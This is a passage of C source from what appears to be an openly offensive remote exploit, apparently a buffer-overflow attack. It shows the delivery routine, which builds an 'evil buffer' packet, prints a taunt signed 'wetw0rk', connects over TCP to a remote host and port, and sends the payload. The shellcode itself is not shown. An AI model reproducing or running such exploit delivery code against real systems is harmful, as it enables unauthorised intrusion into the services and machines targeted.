  probe = packet_gen(exploit, 2, 8000);

  printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;

  send(sock, probe->packet, probe->length, 0);

  free(probe);
  close(sock);
}